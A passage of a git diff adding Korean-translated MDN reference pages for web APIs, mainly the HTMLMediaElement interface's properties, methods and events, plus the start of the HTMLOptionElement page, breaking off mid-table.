+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>{{domxref("EventTarget")}}</td>
+ <td>The event target (the topmost target in the DOM tree).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>{{domxref("DOMString")}}</td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event normally bubbles or not.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>{{jsxref("Boolean")}}</td>
+ <td>Whether the event is cancellable or not.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/index.html b/files/ko/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..d8035bd3c0
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/index.html
@@ -0,0 +1,282 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+translation_of: Web/API/HTMLMediaElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary"><strong><code>HTMLMediaElement</code></strong>는 오디오와 비디오에 통용되는 미디어 관련 확장성을 제공하기 위해 {{domxref("HTMLElement")}}에 메소드와 프로퍼티를 추가한 인터페이스입니다.</span> {{domxref("HTMLVideoElement")}} 와 {{domxref("HTMLAudioElement")}} 는 이 인터페이스를 상속합니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="속성(Properties)">속성(Properties)</h2>
+
+<p><em>이 인터페이스는 {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}}, and {{domxref("EventTarget")}}의 프로퍼티들도 모두 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>{{domxref("AudioTrackList")}}는 엘레먼트의 {{domxref("AudioTrack")}} 객체의 목록입니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>미디어가 준비된 즉시 재생할 것인지 결정하는 {{htmlattrxref("autoplay", "video")}} 속성에 연결된 {{jsxref("Boolean")}}값입니다..
+ <div class="note"><strong>Note</strong>: 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.</div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
+ <dd><code>buffered</code> 프로퍼티에 접근한 시점에 브라우저가 버퍼에 담고 있는 미디어 소스의 구간 데이터를 나타내는 {{domxref("TimeRanges")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>미디어 엘레먼트에 할당된 {{domxref("MediaController")}} 객체를 반환하거나 없다면 null을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>미디어 엘레먼트에 컨트롤를 표시할지 결정하는 {{htmlattrxref("controls", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
+ <dd>브라우저가 미디어 엘레먼트에 자체 컨트롤을 표시할 때 어떤 컨트롤을 보여주거나 숨길 지 결정하는 {{domxref("DOMTokenList")}}를 반환합니다. . <code>DOMTokenList<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">는 </span></font></code><code>nodownload</code>, <code>nofullscreen</code>, <code>noremoteplayback</code> 값을 가질 수 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>{{domxref("DOMString")}}미디어 엘레먼트의 <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS 설정</a>값을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
+ <dd>현재 선택된 미디어 소스 URL의 절대 경로를 {{domxref("DOMString")}}로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>현재 재생 시점을 초 단위로 표현한 <code>double</code>값입니다. 이 값을 세팅하여 재생 시점을 변경할 수 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>{{jsxref('Boolean')}} 기본적으로 음소거 상태인지 표시하는 {{htmlattrxref("muted", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>미디어 기본 재생 배속을 <code>double</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that sets or returns the remote playback state, indicating whether the media element is allowed to have a remote playback UI.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
+ <dd>미디어의 전체 길이를 초 단위로 <code>double</code> 값으로 반환합니다. 재생 가능한 미디어가 없을 경우 0을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
+ <dd>미디어 재생 완료 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}</dt>
+ <dd>마지막으로 발생한 {{domxref("MediaError")}} 객체를 반환합니다. 발생한 에러가 없을 경우 <code>null</code>을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>미디어의 반복 재생을 결정하는 HTML 속성 {{htmlattrxref("loop", "video")}} 값을{{jsxref('Boolean')}}으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>미디어가 속한 그룹을 나타내는 {{ htmlattrxref("mediagroup", "video")}} 속성을 {{domxref("DOMString")}} 값으로 반환합니다. 같은 그룹에 속한 미디어들은 동일한  {{domxref('MediaController')}}에 의해 제어됩니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>{{domxref("MediaKeys")}} 객체 또는 <code>null</code>을 반환합니다. MediaKeys는 재생할 미디어 데이터를 복호화 하는데 사용합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>오디오 스트림 캡쳐 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. (Mozilla 전용 비표준 속성.)</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>MediaElement의 <code>currentSrc</code>에 fragment URI가 존재하는 경우 fragment end time을 <code>double</code> 값으로 반환합니다. 없을 경우 미디어 길이를 반환합니다. (Mozilla 전용 비표준 속성)</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p><code>MozAudioAvailable</code> 이벤트 발생시마다 반환된 framebuffer의 샘플 숫자를 <code>unsigned long</code> 로 반환한다. 이 숫자는 모든 오디오 채널의 총합이며, 기본값은 채널 수 * 1024(예, 2 채널 * 1024 샘플 = 2048)이다.</p>
+
+ <p>레이턴시가 낮은 경우 <code>mozFrameBufferLength</code> 를 더 큰 값으로 지정할 수도 있습니다. 범위는 512에서 16384 사이입니다. 범위를 넘어서는 값은 Error를 발생시킵니다. <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> 이벤트가 발생할 때 새 값을 지정하는 것이 적절합니다. 오디오 정보는 알고 있지만 재생 시작 전 또는 <code>MozAudioAvailable</code> 이벤트가 발생하기 전 시점이죠.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>디지털 샘플링 주파수 값을 <code>double</code>로 반환합니다. 예를 들어 CD 오디오의 경우 초당 44100 샘플을 가집니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>오디오 음소거 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. 음소거라면 <code>true</code> 반대는 <code>false</code> 를 반환합니다..</dd>
+ <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
+ <dd>네트워크를 통한 미디어 데이터 전송 상태를 <code>unsigned short</code> (enumeration)으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
+ <dd>미디어 일시 정지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>재생 속도를 <code>double</code> 값으로 반환합니다. </dd>
+ <dt>{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}</dt>
+ <dd>브라우저에서 재생된 미디어 소스 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>프리로드 할 데이터 타입을 명시하는  {{htmlattrxref("preload", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환한다. 가능한 값들 : <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>사운드 피치 유지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. <code>false</code> 일 경우, 오디오 재생 속도에 따라 변하게 됩니다. Firefox의 (<code>mozPreservesPitch</code>)와 WebKit의 (<code>webkitPreservesPitch</code>)로 구현되어 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}</dt>
+ <dd>미디어 대기 상태를 <code>unsigned short</code> (enumeration)으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}</dt>
+ <dd>탐색(seeking) 가능한 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}</dt>
+ <dd>탐색(seeking) 중 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>별도의 오디오 재생 장치로 출력중이라면 장치의 unique ID를 {{domxref("DOMString")}} 으로 반환합니다. 브라우저로 재생 중이라면 빈 문자열입니다. 이 ID는 {{domxref("MediaDevices.enumerateDevices()")}}에서 반환된 <code>MediaDeviceInfo.deviceid</code>, <code>id-multimedia</code>, <code>id-communications</code> 중 하나입니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>미디어 리소스 URL이 포함된 {{htmlattrxref("src", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>현재 <code>HTMLMediaElement</code> 객체에서 재생 중이거나 재생 되었던 미디어를 표현하는 {{domxref('MediaStream')}} 객체를 반환합니다. 없는 경우, <code>null</code> 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("TextTrack")}} 리스트를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("VideoTrack")}} 리스트를 반환합니다..
+ <div class="note">
+ <p>Gecko는 싱글 트랙 재생만을 지원합니다. 또한 트랙 메타데이터 파싱은 Ogg 컨테이너 포맷에서만 가능합니다..</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>오디오 볼륨을 <code>double</code> 값으로 반환합니다. 0.0 (무음)에서 1.0 (최대크기) 사이 값을 가집니다..</dd>
+</dl>
+
+<h3 id="이벤트_핸들러(Event_handlers)">이벤트 핸들러(Event handlers)</h3>
+
+<dl>
+ <dt></dt>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>미디어 암호화 시 호출되는 {{domxref('EventHandler')}}를 설정합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>재생하기 위해 복호화 키가 필요한 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다..</dd>
+</dl>
+
+<h2 id="폐기된_속성(Obsolete_attributes)">폐기된 속성(Obsolete attributes)</h2>
+
+<p>아래 속성들은 폐기되었으며 브라우저가 지원하더라도 사용되지 않아야 합니다.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>최초 재생 지점을 초 단위로 <code>double</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>오디오 채널 수를 <code>double</code> 값으로 반환합니다. (예, 스테레오인 경우 <code>2</code>).</dd>
+</dl>
+
+<h3 id="폐기된_이벤트_핸들러(Obsolete_event_handlers)">폐기된 이벤트 핸들러(Obsolete event handlers)</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Audio Channel manager에 의해 재생이 인터럽트 된 경우 호출되는 {{domxref("EventHandler")}} 를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>재생 인터럽트가 해결된 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>This interface also inherits methods from its ancestors {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}}, and {{domxref('EventTarget')}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>미디어 엘리먼트에 본문 트랙(자막 등)을 추가합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>미디어 콘텐트의 스트림을 캡쳐하여 {{domxref("MediaStream")}} 객체로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>현재 지정된 미디어 타입을 재생할 수 있는지 확인합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>입력된 시간으로 바로 이동합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>미디어를 처음으로 리셋하고 {{htmlattrxref("src", "video")}} 어트리뷰트 또는 {{HTMLElement("source")}} 엘리먼트로 전달된 소스 중 최적의 소스를 선택합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Returns {{jsxref('Object')}}, which contains properties that represent metadata from the playing media resource as <code>{key: value}</code> pairs. A separate copy of the data is returned each time the method is called. This method must be called after the <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> event fires.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>미디어 재생을 일시 정지합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd>미디어를 재생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>미디어의 다음 프레임으로 이동합니다. 비표준이며 실험적인 이 기능은 미디어를 읽고 렌더링 하는 속도를 조절할 수 있게 하거나 프레임별로 필터링 등 추가적인 기능을 수행할 수 있게 합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>미디어 복호화에 필요한 키를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>오디오를 출력할 장치의 ID를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다. 어플리케이션이 특정 장치를 사용할 수 있는 경우에만 동작합니다.</dd>
+</dl>
+
+<h2 id="폐기된_메소드">폐기된 메소드</h2>
+
+<p>아래 메소드들은 폐기되었습니다. 브라우저가 지원하더라도 사용하면 안됩니다.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Mozilla 구현체에서만 동작하는 이 메소드는 다른 미디어 엘리먼트에서 데이터를 로드합니다. <code>load()</code> 메소드와 유사하게 동작하지만 리소스 선택 알고리즘만 다릅니다. 엘리먼트의 소스를 다른 엘리먼트의 <code>currentSrc</code>를 바라보게 합니다. 지정된 엘리먼트의 캐시 및 버퍼에 담긴 데이터에도 모두 접근할 수 있으며 이 말은 즉 다운로드 된 모든 데이터를 공유한다는 의미입니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><em>부모 엘리먼트 {{domxref("HTMLElement")}}에서 상속받은 이벤트와</em> {{domxref('GlobalEventHandlers')}}에 정의된 이벤트를 믹스인합니다. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>를 통해 이벤트를 수신하거나 <code>on<em>eventname</em></code> 프로퍼티에 리스터를 할당하여 수신합니다.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt>
+ <dd>에러 외의 원인으로 전체 리소스가 로드 되지 못했을 때 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</dt>
+ <dd>User agent가 미디어를 재생 가능한 시점에 발생합니다. 다만 전체 미디어를 재생하기 위해서는 콘텐츠의 버퍼링이 더 필요할 수 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</dt>
+ <dd>추가 버퍼링 없이 전체 미디어를 재생할 수 있는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</dt>
+ <dd>duration 속성이 변경된 시점에 발생합니다..</dd>
+ <dt>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</dt>
+ <dd>미디어가 제거된 시점에 발생합니다. 예를 들어 미디어가 이미 (부분적으로라도) 로드 되었는데. {{domxref("HTMLMediaElement.load()")}} 메소드 호출로 재 로드할 경우 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</dt>
+ <dd>(&lt;audio&gt; or &lt;video&gt;) 미디어가 끝까지 재생 완료 된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.error_event", 'error')}}</dt>
+ <dd>에러가 발생하여 리소스를 로드할 수 없는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</dt>
+ <dd>미디어의 첫번째 프레임이 로딩 완료된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</dt>
+ <dd>메타데이터가 로드 된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}</dt>
+ <dd>브라우저가 리소스를 로드하기 시작하는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</dt>
+ <dd>미디어 일시 정지를 요청하고 paused 상태로 진입하는 시점에 발생합니다. 일반적으로 {{domxref("HTMLMediaElement.pause()")}} 메소드가 호출되는 시점입니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.play_event", 'play')}}</dt>
+ <dd>{{domxref("HTMLMediaElement.play()")}} 메소드 호출이나 <code>autoplay</code> 속성에 의해 <code>paused</code> 프로퍼티가 <code>true</code> 에서 <code>false</code>로 전환되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.playing_event", "playing")}}</dt>
+ <dd>일시 정지 되거나 버퍼 부족으로 재생 정지 된 이후 재생 가능한 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.progress_event", "progress")}}</dt>
+ <dd>브라우저가 리소르를 로딩 중일 때 주기적으로 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</dt>
+ <dd>재생 속도가 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}</dt>
+ <dd>미디어 시킹이 완료되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</dt>
+ <dd>미디어 시킹이 시작되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</dt>
+ <dd>User agent가 미디어 데이터를 fetch 하였지만 전송되지 않은 경우 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</dt>
+ <dd>미디어 로딩이 중지된 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</dt>
+ <dd>currentTime 속성이 변경되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</dt>
+ <dd>볼륨이 변경되는 시점에 발생합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</dt>
+ <dd>일시적인 버퍼 부족으로 재생이 정지된 시점에 발생합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>sinkId, setSinkId(), captureStream() 추가 됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+ <td>{{Spec2('EME')}}</td>
+ <td>{{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, and {{domxref("onwaitingforkey")}} 추가 됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>{{SpecName('HTML5 W3C')}}와 동일</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>최초 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>참고 자료
+ <ul>
+ <li>{{HTMLElement("video")}} and {{HTMLElement("audio")}} HTML elements.</li>
+ <li>{{domxref("HTMLVideoElement")}} and {{domxref("HTMLAudioElement")}} interfaces, derived from <code>HTMLMediaElement</code>.</li>
+ </ul>
+ </li>
+ <li>문서
+ <ul>
+ <li><a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Using HTML5 audio and video</a></li>
+ <li><a class="internal" href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Media formats supported by the audio and video elements</a></li>
+ <li><a href="/en-US/docs/Web_Audio_API">Web Audio API</a></li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/htmloptionelement/index.html b/files/ko/web/api/htmloptionelement/index.html
new file mode 100644
index 0000000000..eaf7e27ae6
--- /dev/null
+++ b/files/ko/web/api/htmloptionelement/index.html
@@ -0,0 +1,88 @@
+---
+title: HTMLOptionElement
+slug: Web/API/HTMLOptionElement
+translation_of: Web/API/HTMLOptionElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>HTMLOptionElement</code></strong> interface represents {{HTMLElement("option")}} elements and inherits all classes and methods of the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLOptionElement.defaultSelected")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that contains the initial value of the {{htmlattrxref("selected", "option")}} HTML attribute, indicating whether the option is selected by default or not.</dd>
+ <dt>{{domxref("HTMLOptionElement.disabled")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} representing the value of the {{htmlattrxref("disabled", "option")}} HTML attribute, which indicates that the option is unavailable to be selected. An option can also be disabled if it is a child of an {{HTMLElement("optgroup")}} element that is disabled.</dd>
+ <dt>{{domxref("HTMLOptionElement.form")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("HTMLFormElement")}} representing the same value as the <code>form</code> of the corresponding {{HTMLElement("select")}} element, if the option is a descendant of a {{HTMLElement("select")}} element, or null if none is found.</dd>
+ <dt>{{domxref("HTMLOptionElement.index")}} {{readonlyInline}}</dt>
+ <dd>Is a <code>long</code> representing the position of the option within the list of options it belongs to, in tree-order. If the option is not part of a list of options, like when it is part of the {{HTMLElement("datalist")}} element, the value is <code>0</code>.</dd>
+ <dt>{{domxref("HTMLOptionElement.label")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("label", "option")}} HTML attribute, which provides a label for the option. If this attribute isn't specifically set, reading it returns the element's text content.</dd>
+ <dt>{{domxref("HTMLOptionElement.selected")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that indicates whether the option is currently selected.</dd>
+ <dt>{{domxref("HTMLOptionElement.text")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that contains the text content of the element.</dd>
+ <dt>{{domxref("HTMLOptionElement.value")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("value", "option")}} HTML attribute, if it exists; otherwise reflects value of the {{domxref("Node.textContent")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>Option()</dt>
+ <dd>Is a constructor creating an <code>HTMLOptionElement</code> object. It has four values: the text to display, <code>text</code>, the value associated, <code>value</code>, the value of <code>defaultSelected</code>, and the value of <code>selected</code>. The last three values are optional.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmloptionelement", "HTMLOptionElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "forms.html#the-option-element", "HTMLOptionElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>A constructor, <code>Option()</code>, has been added.<br>
+ The <code>form</code> property can be the <code>null</code> value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-70901257', 'HTMLOptionElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>The <code>selected</code> property changed its meaning: it now indicates if the option is currently selected and no longer if it was initally selected.<br>
+ The <code>defaultSelected</code> property is no longer read-only.</td>
+ </tr>
+ <tr>
